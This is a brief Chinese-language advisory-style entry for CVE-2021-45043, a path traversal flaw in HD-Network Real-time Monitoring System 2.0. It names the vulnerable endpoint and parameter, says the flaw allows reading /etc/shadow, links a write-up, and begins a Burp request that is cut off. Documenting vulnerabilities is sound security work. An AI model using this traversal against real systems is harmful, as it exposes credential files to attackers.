cve-2021-45043

cve-2021-45043 HD-Network 实时监控系统 2.0 允许通过 /language/lang 的 sLanguage 参数进行 ../ 目录遍历，从而读取 /etc/shadow。 原始帖子 https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f 通过 Burp 利用 GET /language/lang HTTP/1.1 Host: IP.target Cookie:...